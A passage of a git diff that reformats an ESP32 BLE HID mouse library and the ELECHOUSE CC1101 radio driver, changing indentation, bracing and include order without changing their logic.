-  buttons(_buttons | b);
-}
+void BleMouse::press(uint8_t b) { buttons(_buttons | b); }
 
-void BleMouse::release(uint8_t b)
-{
-  buttons(_buttons & ~b);
-}
+void BleMouse::release(uint8_t b) { buttons(_buttons & ~b); }
 
-bool BleMouse::isPressed(uint8_t b)
-{
-  if ((b & _buttons) > 0)
-    return true;
-  return false;
+bool BleMouse::isPressed(uint8_t b) {
+    if ((b & _buttons) > 0)
+        return true;
+    return false;
 }
 
-bool BleMouse::isConnected(void) {
-  return this->connectionStatus->connected;
-}
+bool BleMouse::isConnected(void) { return this->connectionStatus->connected; }
 
 void BleMouse::setBatteryLevel(uint8_t level) {
-  this->batteryLevel = level;
-  if (hid != 0)
-      this->hid->setBatteryLevel(this->batteryLevel);
+    this->batteryLevel = level;
+    if (hid != 0)
+        this->hid->setBatteryLevel(this->batteryLevel);
 }
 
-void BleMouse::taskServer(void* pvParameter) {
-  BleMouse* bleMouseInstance = (BleMouse *) pvParameter; //static_cast<BleMouse *>(pvParameter);
-  BLEDevice::init(std::string(bleMouseInstance->deviceName.c_str()));
-  BLEServer *pServer = BLEDevice::createServer();
-  pServer->setCallbacks(bleMouseInstance->connectionStatus);
+void BleMouse::taskServer(void *pvParameter) {
+    BleMouse *bleMouseInstance =
+        (BleMouse *)pvParameter; // static_cast<BleMouse *>(pvParameter);
+    BLEDevice::init(std::string(bleMouseInstance->deviceName.c_str()));
+    BLEServer *pServer = BLEDevice::createServer();
+    pServer->setCallbacks(bleMouseInstance->connectionStatus);
 
-  bleMouseInstance->hid = new BLEHIDDevice(pServer);
-  bleMouseInstance->inputMouse = bleMouseInstance->hid->inputReport(0); // <-- input REPORTID from report map
-  bleMouseInstance->connectionStatus->inputMouse = bleMouseInstance->inputMouse;
+    bleMouseInstance->hid = new BLEHIDDevice(pServer);
+    bleMouseInstance->inputMouse = bleMouseInstance->hid->inputReport(
+        0); // <-- input REPORTID from report map
+    bleMouseInstance->connectionStatus->inputMouse =
+        bleMouseInstance->inputMouse;
 
-  bleMouseInstance->hid->manufacturer()->setValue(std::string(bleMouseInstance->deviceManufacturer.c_str()));
+    bleMouseInstance->hid->manufacturer()->setValue(
+        std::string(bleMouseInstance->deviceManufacturer.c_str()));
 
-  bleMouseInstance->hid->pnp(0x02, 0xe502, 0xa111, 0x0210);
-  bleMouseInstance->hid->hidInfo(0x00,0x02);
+    bleMouseInstance->hid->pnp(0x02, 0xe502, 0xa111, 0x0210);
+    bleMouseInstance->hid->hidInfo(0x00, 0x02);
 
-  BLESecurity *pSecurity = new BLESecurity();
+    BLESecurity *pSecurity = new BLESecurity();
 
-  pSecurity->setAuthenticationMode(ESP_LE_AUTH_BOND);
+    pSecurity->setAuthenticationMode(ESP_LE_AUTH_BOND);
 
-  bleMouseInstance->hid->reportMap((uint8_t*)_hidReportDescriptor, sizeof(_hidReportDescriptor));
-  bleMouseInstance->hid->startServices();
+    bleMouseInstance->hid->reportMap((uint8_t *)_hidReportDescriptor,
+                                     sizeof(_hidReportDescriptor));
+    bleMouseInstance->hid->startServices();
 
-  bleMouseInstance->onStarted(pServer);
+    bleMouseInstance->onStarted(pServer);
 
-  BLEAdvertising *pAdvertising = pServer->getAdvertising();
-  pAdvertising->setAppearance(HID_MOUSE);
-  pAdvertising->addServiceUUID(bleMouseInstance->hid->hidService()->getUUID());
-  pAdvertising->start();
-  bleMouseInstance->hid->setBatteryLevel(bleMouseInstance->batteryLevel);
+    BLEAdvertising *pAdvertising = pServer->getAdvertising();
+    pAdvertising->setAppearance(HID_MOUSE);
+    pAdvertising->addServiceUUID(
+        bleMouseInstance->hid->hidService()->getUUID());
+    pAdvertising->start();
+    bleMouseInstance->hid->setBatteryLevel(bleMouseInstance->batteryLevel);
 
-  ESP_LOGD(LOG_TAG, "Advertising started!");
-  vTaskDelay(portMAX_DELAY); //delay(portMAX_DELAY);
+    ESP_LOGD(LOG_TAG, "Advertising started!");
+    vTaskDelay(portMAX_DELAY); // delay(portMAX_DELAY);
 }
diff --git a/src/libs/BleMouse.h b/src/libs/BleMouse.h
index 8b4ab9b..4468189 100644
--- a/src/libs/BleMouse.h
+++ b/src/libs/BleMouse.h
@@ -3,42 +3,49 @@
 #include "sdkconfig.h"
 #if defined(CONFIG_BT_ENABLED)
 
-#include "BleConnectionStatus.h"
-#include "BLEHIDDevice.h"
 #include "BLECharacteristic.h"
+#include "BLEHIDDevice.h"
+#include "BleConnectionStatus.h"
 
 #define MOUSE_LEFT 1
 #define MOUSE_RIGHT 2
 #define MOUSE_MIDDLE 4
 #define MOUSE_BACK 8
 #define MOUSE_FORWARD 16
-#define MOUSE_ALL (MOUSE_LEFT | MOUSE_RIGHT | MOUSE_MIDDLE) # For compatibility with the Mouse library
+#define MOUSE_ALL                                                              \
+    (MOUSE_LEFT | MOUSE_RIGHT |                                                \
+     MOUSE_MIDDLE) #For compatibility with the Mouse library
 
 class BleMouse {
-private:
-  uint8_t _buttons;
-  BleConnectionStatus* connectionStatus;
-  BLEHIDDevice* hid;
-  BLECharacteristic* inputMouse;
-  void buttons(uint8_t b);
-  void rawAction(uint8_t msg[], char msgSize);
-  static void taskServer(void* pvParameter);
-public:
-  BleMouse(std::string deviceName = "ESP32 Bluetooth Mouse", std::string deviceManufacturer = "Espressif", uint8_t batteryLevel = 100);
-  void begin(void);
-  void end(void);
-  void click(uint8_t b = MOUSE_LEFT);
-  void move(signed char x, signed char y, signed char wheel = 0, signed char hWheel = 0);
-  void press(uint8_t b = MOUSE_LEFT);   // press LEFT by default
-  void release(uint8_t b = MOUSE_LEFT); // release LEFT by default
-  bool isPressed(uint8_t b = MOUSE_LEFT); // check LEFT by default
-  bool isConnected(void);
-  void setBatteryLevel(uint8_t level);
-  uint8_t batteryLevel;
-  std::string deviceManufacturer;
-  std::string deviceName;
-protected:
-  virtual void onStarted(BLEServer *pServer) { };
+  private:
+    uint8_t _buttons;
+    BleConnectionStatus *connectionStatus;
+    BLEHIDDevice *hid;
+    BLECharacteristic *inputMouse;
+    void buttons(uint8_t b);
+    void rawAction(uint8_t msg[], char msgSize);
+    static void taskServer(void *pvParameter);
+
+  public:
+    BleMouse(std::string deviceName = "ESP32 Bluetooth Mouse",
+             std::string deviceManufacturer = "Espressif",
+             uint8_t batteryLevel = 100);
+    void begin(void);
+    void end(void);
+    void click(uint8_t b = MOUSE_LEFT);
+    void move(signed char x, signed char y, signed char wheel = 0,
+              signed char hWheel = 0);
+    void press(uint8_t b = MOUSE_LEFT);     // press LEFT by default
+    void release(uint8_t b = MOUSE_LEFT);   // release LEFT by default
+    bool isPressed(uint8_t b = MOUSE_LEFT); // check LEFT by default
+    bool isConnected(void);
+    void setBatteryLevel(uint8_t level);
+    uint8_t batteryLevel;
+    std::string deviceManufacturer;
+    std::string deviceName;
+
+  protected:
+    virtual void onStarted(BLEServer *pServer) {};
 };
 
 #endif // CONFIG_BT_ENABLED
diff --git a/src/libs/ELECHOUSE_CC1101_SRC_DRV.cpp b/src/libs/ELECHOUSE_CC1101_SRC_DRV.cpp
index 5568989..ead012f 100644
--- a/src/libs/ELECHOUSE_CC1101_SRC_DRV.cpp
+++ b/src/libs/ELECHOUSE_CC1101_SRC_DRV.cpp
@@ -5,24 +5,25 @@
     Version: November 12, 2010

 

   This library is designed to use CC1101/CC1100 module on Arduino platform.

-  CC1101/CC1100 module is an useful wireless module.Using the functions of the 

-  library, you can easily send and receive data by the CC1101/CC1100 module. 

+  CC1101/CC1100 module is an useful wireless module.Using the functions of the

+  library, you can easily send and receive data by the CC1101/CC1100 module.

   Just have fun!

   For the details, please refer to the datasheet of CC1100/CC1101.

 ----------------------------------------------------------------------------------------------------------------

-cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE).

+cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and

+publish Wilson Shen (ELECHOUSE).

 ----------------------------------------------------------------------------------------------------------------

 */

-#include <SPI.h>

 #include "ELECHOUSE_CC1101_SRC_DRV.h"

 #include <Arduino.h>

+#include <SPI.h>

 

 /****************************************************************/

-#define   WRITE_BURST       0x40            //write burst

-#define   READ_SINGLE       0x80            //read single

-#define   READ_BURST        0xC0            //read burst

-#define   BYTES_IN_RXFIFO   0x7F            //byte number in RXfifo

-#define   max_modul 6

+#define WRITE_BURST 0x40     // write burst

+#define READ_SINGLE 0x80     // read single

+#define READ_BURST 0xC0      // read burst

+#define BYTES_IN_RXFIFO 0x7F // byte number in RXfifo

+#define max_modul 6

 

 SPIClass CCSPI(HSPI);

 

@@ -43,7 +44,7 @@ byte MOSI_PIN_M[max_modul];
 byte SS_PIN_M[max_modul];

 byte GDO0_M[max_modul];

 byte GDO2_M[max_modul];

-byte gdo_set=0;

+byte gdo_set = 0;

 bool spi = 0;

 bool ccmode = 0;

 float MHz = 433.92;

@@ -65,1245 +66,1417 @@ byte pc0PktForm;
 byte pc0CRC_EN;

 byte pc0LenConf;

 byte trxstate = 0;

-byte clb1[2]= {24,28};

-byte clb2[2]= {31,38};

-byte clb3[2]= {65,76};

-byte clb4[2]= {77,79};

+byte clb1[2] = {24, 28};

+byte clb2[2] = {31, 38};

+byte clb3[2] = {65, 76};

+byte clb4[2] = {77, 79};

 

 /****************************************************************/

-uint8_t PA_TABLE[8]     {0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00};

+uint8_t PA_TABLE[8]{0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

 //                       -30  -20  -15  -10   0    5    7    10

-uint8_t PA_TABLE_315[8] {0x12,0x0D,0x1C,0x34,0x51,0x85,0xCB,0xC2,};             //300 - 348

-uint8_t PA_TABLE_433[8] {0x12,0x0E,0x1D,0x34,0x60,0x84,0xC8,0xC0,};             //387 - 464

+uint8_t PA_TABLE_315[8]{

+    0x12, 0x0D, 0x1C, 0x34, 0x51, 0x85, 0xCB, 0xC2,

+}; // 300 - 348

+uint8_t PA_TABLE_433[8]{

+    0x12, 0x0E, 0x1D, 0x34, 0x60, 0x84, 0xC8, 0xC0,

+}; // 387 - 464

 //                        -30  -20  -15  -10  -6    0    5    7    10   12

-uint8_t PA_TABLE_868[10] {0x03,0x17,0x1D,0x26,0x37,0x50,0x86,0xCD,0xC5,0xC0,};  //779 - 899.99

+uint8_t PA_TABLE_868[10]{

+    0x03, 0x17, 0x1D, 0x26, 0x37, 0x50, 0x86, 0xCD, 0xC5, 0xC0,

+}; // 779 - 899.99

 //                        -30  -20  -15  -10  -6    0    5    7    10   11

-uint8_t PA_TABLE_915[10] {0x03,0x0E,0x1E,0x27,0x38,0x8E,0x84,0xCC,0xC3,0xC0,};  //900 - 928

-/****************************************************************

-*FUNCTION NAME:SpiStart

-*FUNCTION     :spi communication start

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SpiStart(void)

-{

-  // initialize the SPI pins

-  pinMode(SCK_PIN, OUTPUT);

-  pinMode(MOSI_PIN, OUTPUT);

-  pinMode(MISO_PIN, INPUT);

-  pinMode(SS_PIN, OUTPUT);

+uint8_t PA_TABLE_915[10]{

+    0x03, 0x0E, 0x1E, 0x27, 0x38, 0x8E, 0x84, 0xCC, 0xC3, 0xC0,

+}; // 900 - 928

+/****************************************************************

+ *FUNCTION NAME:SpiStart

+ *FUNCTION     :spi communication start

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::SpiStart(void) {

+    // initialize the SPI pins

+    pinMode(SCK_PIN, OUTPUT);

+    pinMode(MOSI_PIN, OUTPUT);

+    pinMode(MISO_PIN, INPUT);

+    pinMode(SS_PIN, OUTPUT);

 

-  // enable SPI

-  #ifdef ESP32

-  CCSPI.begin(SCK_PIN, MISO_PIN, MOSI_PIN, SS_PIN);

-  #else

-  CCSPI.begin();

-  #endif

-}

-/****************************************************************

-*FUNCTION NAME:SpiEnd

-*FUNCTION     :spi communication disable

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SpiEnd(void)

-{

-  // disable SPI

-  CCSPI.endTransaction();

-  CCSPI.end();

-}

-/****************************************************************

-*FUNCTION NAME: GDO_Set()

-*FUNCTION     : set GDO0,GDO2 pin for serial pinmode.

-*INPUT        : none

-*OUTPUT       : none

-****************************************************************/

-void ELECHOUSE_CC1101::GDO_Set (void)

-{

-	pinMode(GDO0, OUTPUT);

-	pinMode(GDO2, INPUT);

-}

-/****************************************************************

-*FUNCTION NAME: GDO_Set()

-*FUNCTION     : set GDO0 for internal transmission mode.

-*INPUT        : none

-*OUTPUT       : none

-****************************************************************/

-void ELECHOUSE_CC1101::GDO0_Set (void)

-{

-  pinMode(GDO0, INPUT);

-}

-/****************************************************************

-*FUNCTION NAME:Reset

-*FUNCTION     :CC1101 reset //details refer datasheet of CC1101/CC1100//

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::Reset (void)

-{

-	digitalWrite(SS_PIN, LOW);

-	delay(1);

-	digitalWrite(SS_PIN, HIGH);

-	delay(1);

-	digitalWrite(SS_PIN, LOW);

-	while(digitalRead(MISO_PIN));

-  CCSPI.transfer(CC1101_SRES);

-  while(digitalRead(MISO_PIN));

-	digitalWrite(SS_PIN, HIGH);

-}

-/****************************************************************

-*FUNCTION NAME:Init

-*FUNCTION     :CC1101 initialization

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::Init(void)

-{

-  setSpi();

-  SpiStart();                   //spi initialization

-  digitalWrite(SS_PIN, HIGH);

-  digitalWrite(SCK_PIN, HIGH);

-  digitalWrite(MOSI_PIN, LOW);

-  Reset();                    //CC1101 reset

-  RegConfigSettings();            //CC1101 register config

-  SpiEnd();

-}

-/****************************************************************

-*FUNCTION NAME:SpiWriteReg

-*FUNCTION     :CC1101 write data to register

-*INPUT        :addr: register address; value: register value

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SpiWriteReg(byte addr, byte value)

-{

-  SpiStart();

-  digitalWrite(SS_PIN, LOW);

-  while(digitalRead(MISO_PIN));

-  CCSPI.transfer(addr);

-  CCSPI.transfer(value); 

-  digitalWrite(SS_PIN, HIGH);

-  SpiEnd();

-}

-/****************************************************************

-*FUNCTION NAME:SpiWriteBurstReg

-*FUNCTION     :CC1101 write burst data to register

-*INPUT        :addr: register address; buffer:register value array; num:number to write

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SpiWriteBurstReg(byte addr, byte *buffer, byte num)

-{

-  byte i, temp;

-  SpiStart();

-  temp = addr | WRITE_BURST;

-  digitalWrite(SS_PIN, LOW);

-  while(digitalRead(MISO_PIN));

-  CCSPI.transfer(temp);

-  for (i = 0; i < num; i++)

-  {

-  CCSPI.transfer(buffer[i]);

-  }

-  digitalWrite(SS_PIN, HIGH);

-  SpiEnd();

-}

-/****************************************************************

-*FUNCTION NAME:SpiStrobe

-*FUNCTION     :CC1101 Strobe

-*INPUT        :strobe: command; //refer define in CC1101.h//

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SpiStrobe(byte strobe)

-{

-  SpiStart();

-  digitalWrite(SS_PIN, LOW);

-  while(digitalRead(MISO_PIN));

-  CCSPI.transfer(strobe);

-  digitalWrite(SS_PIN, HIGH);

-  SpiEnd();

-}

-/****************************************************************

-*FUNCTION NAME:SpiReadReg

-*FUNCTION     :CC1101 read data from register

-*INPUT        :addr: register address

-*OUTPUT       :register value

-****************************************************************/

-byte ELECHOUSE_CC1101::SpiReadReg(byte addr) 

-{

-  byte temp, value;

-  SpiStart();

-  temp = addr| READ_SINGLE;

-  digitalWrite(SS_PIN, LOW);

-  while(digitalRead(MISO_PIN));

-  CCSPI.transfer(temp);

-  value=CCSPI.transfer(0);

-  digitalWrite(SS_PIN, HIGH);

-  SpiEnd();

-  return value;

+// enable SPI

+#ifdef ESP32

+    CCSPI.begin(SCK_PIN, MISO_PIN, MOSI_PIN, SS_PIN);

+#else

+    CCSPI.begin();

+#endif

+}

+/****************************************************************

+ *FUNCTION NAME:SpiEnd

+ *FUNCTION     :spi communication disable

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::SpiEnd(void) {

+    // disable SPI

+    CCSPI.endTransaction();

+    CCSPI.end();

+}

+/****************************************************************

+ *FUNCTION NAME: GDO_Set()

+ *FUNCTION     : set GDO0,GDO2 pin for serial pinmode.

+ *INPUT        : none

+ *OUTPUT       : none

+ ****************************************************************/

+void ELECHOUSE_CC1101::GDO_Set(void) {

+    pinMode(GDO0, OUTPUT);

+    pinMode(GDO2, INPUT);

+}

+/****************************************************************

+ *FUNCTION NAME: GDO_Set()

+ *FUNCTION     : set GDO0 for internal transmission mode.

+ *INPUT        : none

+ *OUTPUT       : none

+ ****************************************************************/

+void ELECHOUSE_CC1101::GDO0_Set(void) { pinMode(GDO0, INPUT); }

+/****************************************************************

+ *FUNCTION NAME:Reset

+ *FUNCTION     :CC1101 reset //details refer datasheet of CC1101/CC1100//

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::Reset(void) {

+    digitalWrite(SS_PIN, LOW);

+    delay(1);

+    digitalWrite(SS_PIN, HIGH);

+    delay(1);

+    digitalWrite(SS_PIN, LOW);

+    while (digitalRead(MISO_PIN))

+        ;

+    CCSPI.transfer(CC1101_SRES);

+    while (digitalRead(MISO_PIN))

+        ;

+    digitalWrite(SS_PIN, HIGH);

+}

+/****************************************************************

+ *FUNCTION NAME:Init

+ *FUNCTION     :CC1101 initialization

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::Init(void) {

+    setSpi();

+    SpiStart(); // spi initialization

+    digitalWrite(SS_PIN, HIGH);

+    digitalWrite(SCK_PIN, HIGH);

+    digitalWrite(MOSI_PIN, LOW);

+    Reset();             // CC1101 reset

+    RegConfigSettings(); // CC1101 register config

+    SpiEnd();

+}

+/****************************************************************

+ *FUNCTION NAME:SpiWriteReg

+ *FUNCTION     :CC1101 write data to register

+ *INPUT        :addr: register address; value: register value

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::SpiWriteReg(byte addr, byte value) {

+    SpiStart();

+    digitalWrite(SS_PIN, LOW);

+    while (digitalRead(MISO_PIN))

+        ;

+    CCSPI.transfer(addr);

+    CCSPI.transfer(value);

+    digitalWrite(SS_PIN, HIGH);

+    SpiEnd();

+}

+/****************************************************************

+ *FUNCTION NAME:SpiWriteBurstReg

+ *FUNCTION     :CC1101 write burst data to register

+ *INPUT        :addr: register address; buffer:register value array; num:number

+ * to write OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::SpiWriteBurstReg(byte addr, byte *buffer, byte num) {

+    byte i, temp;

+    SpiStart();

+    temp = addr | WRITE_BURST;

+    digitalWrite(SS_PIN, LOW);

+    while (digitalRead(MISO_PIN))

+        ;

+    CCSPI.transfer(temp);

+    for (i = 0; i < num; i++) {

+        CCSPI.transfer(buffer[i]);

+    }

+    digitalWrite(SS_PIN, HIGH);

+    SpiEnd();

+}

+/****************************************************************

+ *FUNCTION NAME:SpiStrobe

+ *FUNCTION     :CC1101 Strobe

+ *INPUT        :strobe: command; //refer define in CC1101.h//

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::SpiStrobe(byte strobe) {

+    SpiStart();

+    digitalWrite(SS_PIN, LOW);

+    while (digitalRead(MISO_PIN))

+        ;

+    CCSPI.transfer(strobe);

+    digitalWrite(SS_PIN, HIGH);

+    SpiEnd();

+}

+/****************************************************************

+ *FUNCTION NAME:SpiReadReg

+ *FUNCTION     :CC1101 read data from register

+ *INPUT        :addr: register address

+ *OUTPUT       :register value

+ ****************************************************************/

+byte ELECHOUSE_CC1101::SpiReadReg(byte addr) {

+    byte temp, value;

+    SpiStart();

+    temp = addr | READ_SINGLE;

+    digitalWrite(SS_PIN, LOW);

+    while (digitalRead(MISO_PIN))

+        ;

+    CCSPI.transfer(temp);

+    value = CCSPI.transfer(0);

+    digitalWrite(SS_PIN, HIGH);

+    SpiEnd();

+    return value;

 }

 

 /****************************************************************

-*FUNCTION NAME:SpiReadBurstReg

-*FUNCTION     :CC1101 read burst data from register

-*INPUT        :addr: register address; buffer:array to store register value; num: number to read

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SpiReadBurstReg(byte addr, byte *buffer, byte num)

-{

-  byte i,temp;

-  SpiStart();

-  temp = addr | READ_BURST;

-  digitalWrite(SS_PIN, LOW);

-  while(digitalRead(MISO_PIN));

-  CCSPI.transfer(temp);

-  for(i=0;i<num;i++)

-  {

-  buffer[i]=CCSPI.transfer(0);

-  }

-  digitalWrite(SS_PIN, HIGH);

-  SpiEnd();

+ *FUNCTION NAME:SpiReadBurstReg

+ *FUNCTION     :CC1101 read burst data from register

+ *INPUT        :addr: register address; buffer:array to store register value;

+ * num: number to read OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::SpiReadBurstReg(byte addr, byte *buffer, byte num) {

+    byte i, temp;

+    SpiStart();

+    temp = addr | READ_BURST;

+    digitalWrite(SS_PIN, LOW);

+    while (digitalRead(MISO_PIN))

+        ;

+    CCSPI.transfer(temp);

+    for (i = 0; i < num; i++) {

+        buffer[i] = CCSPI.transfer(0);

+    }

+    digitalWrite(SS_PIN, HIGH);

+    SpiEnd();

 }

 

 /****************************************************************

-*FUNCTION NAME:SpiReadStatus

-*FUNCTION     :CC1101 read status register

-*INPUT        :addr: register address

-*OUTPUT       :status value

-****************************************************************/

-byte ELECHOUSE_CC1101::SpiReadStatus(byte addr) 

-{

-  byte value,temp;

-  SpiStart();

-  temp = addr | READ_BURST;

-  digitalWrite(SS_PIN, LOW);

-  while(digitalRead(MISO_PIN));

-  CCSPI.transfer(temp);

-  value=CCSPI.transfer(0);

-  digitalWrite(SS_PIN, HIGH);

-  SpiEnd();

-  return value;

-}

-/****************************************************************

-*FUNCTION NAME:SPI pin Settings

-*FUNCTION     :Set Spi pins

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setSpi(void){

-  if (spi == 0){

-  #if defined __AVR_ATmega168__ || defined __AVR_ATmega328P__

-  SCK_PIN = 13; MISO_PIN = 12; MOSI_PIN = 11; SS_PIN = 10;

-  #elif defined __AVR_ATmega1280__ || defined __AVR_ATmega2560__

-  SCK_PIN = 52; MISO_PIN = 50; MOSI_PIN = 51; SS_PIN = 53;

-  #elif ESP8266

-  SCK_PIN = 14; MISO_PIN = 12; MOSI_PIN = 13; SS_PIN = 15;

-  #elif ESP32

-  SCK_PIN = 18; MISO_PIN = 19; MOSI_PIN = 23; SS_PIN = 5;

-  #else

-  SCK_PIN = 13; MISO_PIN = 12; MOSI_PIN = 11; SS_PIN = 10;

-  #endif

-}

-}

-/****************************************************************

-*FUNCTION NAME:COSTUM SPI

-*FUNCTION     :set costum spi pins.

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setSpiPin(byte sck, byte miso, byte mosi, byte ss){

-  spi = 1;

-  SCK_PIN = sck;

-  MISO_PIN = miso;

-  MOSI_PIN = mosi;

-  SS_PIN = ss;

-}

-/****************************************************************

-*FUNCTION NAME:COSTUM SPI

-*FUNCTION     :set costum spi pins.

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::addSpiPin(byte sck, byte miso, byte mosi, byte ss, byte modul){

-  spi = 1;

-  SCK_PIN_M[modul] = sck;

-  MISO_PIN_M[modul] = miso;

-  MOSI_PIN_M[modul] = mosi;

-  SS_PIN_M[modul] = ss;

-}

-/****************************************************************

-*FUNCTION NAME:GDO Pin settings

-*FUNCTION     :set GDO Pins

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setGDO(byte gdo0, byte gdo2){

-GDO0 = gdo0;

-GDO2 = gdo2;  

-GDO_Set();

-}

-/****************************************************************

-*FUNCTION NAME:GDO0 Pin setting

-*FUNCTION     :set GDO0 Pin

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setGDO0(byte gdo0){

-GDO0 = gdo0;

-GDO0_Set();

-}

-/****************************************************************

-*FUNCTION NAME:GDO Pin settings

-*FUNCTION     :add GDO Pins

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::addGDO(byte gdo0, byte gdo2, byte modul){

-GDO0_M[modul] = gdo0;

-GDO2_M[modul] = gdo2;  

-gdo_set=2;

-GDO_Set();

-}

-/****************************************************************

-*FUNCTION NAME:add GDO0 Pin

-*FUNCTION     :add GDO0 Pin

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::addGDO0(byte gdo0, byte modul){

-GDO0_M[modul] = gdo0;

-gdo_set=1;

-GDO0_Set();

-}

-/****************************************************************

-*FUNCTION NAME:set Modul

-*FUNCTION     :change modul

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setModul(byte modul){

-  SCK_PIN = SCK_PIN_M[modul];

-  MISO_PIN = MISO_PIN_M[modul];

-  MOSI_PIN = MOSI_PIN_M[modul];

-  SS_PIN = SS_PIN_M[modul];

-  if (gdo_set==1){

-  GDO0 = GDO0_M[modul];

-  }

-  else if (gdo_set==2){

-  GDO0 = GDO0_M[modul];

-  GDO2 = GDO2_M[modul];

-  }

-}

-/****************************************************************

-*FUNCTION NAME:CCMode

-*FUNCTION     :Format of RX and TX data

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setCCMode(bool s){

-ccmode = s;

-if (ccmode == 1){

-SpiWriteReg(CC1101_IOCFG2,      0x0B);

-SpiWriteReg(CC1101_IOCFG0,      0x06);

-SpiWriteReg(CC1101_PKTCTRL0,    0x05);

-SpiWriteReg(CC1101_MDMCFG3,     0xF8);

-SpiWriteReg(CC1101_MDMCFG4,11+m4RxBw);

-}else{

-SpiWriteReg(CC1101_IOCFG2,      0x0D);

-SpiWriteReg(CC1101_IOCFG0,      0x0D);

-SpiWriteReg(CC1101_PKTCTRL0,    0x32);

-SpiWriteReg(CC1101_MDMCFG3,     0x93);

-SpiWriteReg(CC1101_MDMCFG4, 7+m4RxBw);

-}

-setModulation(modulation);

-}

-/****************************************************************

-*FUNCTION NAME:Modulation

-*FUNCTION     :set CC1101 Modulation 

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setModulation(byte m){

-if (m>4){m=4;}

-modulation = m;

-Split_MDMCFG2();

-switch (m)

-{

-case 0: m2MODFM=0x00; frend0=0x10; break; // 2-FSK

-case 1: m2MODFM=0x10; frend0=0x10; break; // GFSK

-case 2: m2MODFM=0x30; frend0=0x11; break; // ASK

-case 3: m2MODFM=0x40; frend0=0x10; break; // 4-FSK

-case 4: m2MODFM=0x70; frend0=0x10; break; // MSK

-}

-SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM);

-SpiWriteReg(CC1101_FREND0,   frend0);

-setPA(pa);

-}

-/****************************************************************

-*FUNCTION NAME:PA Power

-*FUNCTION     :set CC1101 PA Power 

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setPA(int p)

-{

-int a;

-pa = p;

+ *FUNCTION NAME:SpiReadStatus

+ *FUNCTION     :CC1101 read status register

+ *INPUT        :addr: register address

+ *OUTPUT       :status value

+ ****************************************************************/

+byte ELECHOUSE_CC1101::SpiReadStatus(byte addr) {

+    byte value, temp;

+    SpiStart();

+    temp = addr | READ_BURST;

+    digitalWrite(SS_PIN, LOW);

+    while (digitalRead(MISO_PIN))

+        ;

+    CCSPI.transfer(temp);

+    value = CCSPI.transfer(0);

+    digitalWrite(SS_PIN, HIGH);

+    SpiEnd();

+    return value;

+}

+/****************************************************************

+ *FUNCTION NAME:SPI pin Settings

+ *FUNCTION     :Set Spi pins

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setSpi(void) {

+    if (spi == 0) {

+#if defined __AVR_ATmega168__ || defined __AVR_ATmega328P__

+        SCK_PIN = 13;

+        MISO_PIN = 12;

+        MOSI_PIN = 11;

+        SS_PIN = 10;

+#elif defined __AVR_ATmega1280__ || defined __AVR_ATmega2560__

+        SCK_PIN = 52;

+        MISO_PIN = 50;

+        MOSI_PIN = 51;

+        SS_PIN = 53;

+#elif ESP8266

+        SCK_PIN = 14;

+        MISO_PIN = 12;

+        MOSI_PIN = 13;

+        SS_PIN = 15;

+#elif ESP32

+        SCK_PIN = 18;

+        MISO_PIN = 19;

+        MOSI_PIN = 23;

+        SS_PIN = 5;

+#else

+        SCK_PIN = 13;

+        MISO_PIN = 12;

+        MOSI_PIN = 11;

+        SS_PIN = 10;

+#endif

+    }

+}

+/****************************************************************

+ *FUNCTION NAME:COSTUM SPI

+ *FUNCTION     :set costum spi pins.

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setSpiPin(byte sck, byte miso, byte mosi, byte ss) {

+    spi = 1;

+    SCK_PIN = sck;

+    MISO_PIN = miso;

+    MOSI_PIN = mosi;

+    SS_PIN = ss;

+}

+/****************************************************************

+ *FUNCTION NAME:COSTUM SPI

+ *FUNCTION     :set costum spi pins.

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::addSpiPin(byte sck, byte miso, byte mosi, byte ss,

+                                 byte modul) {

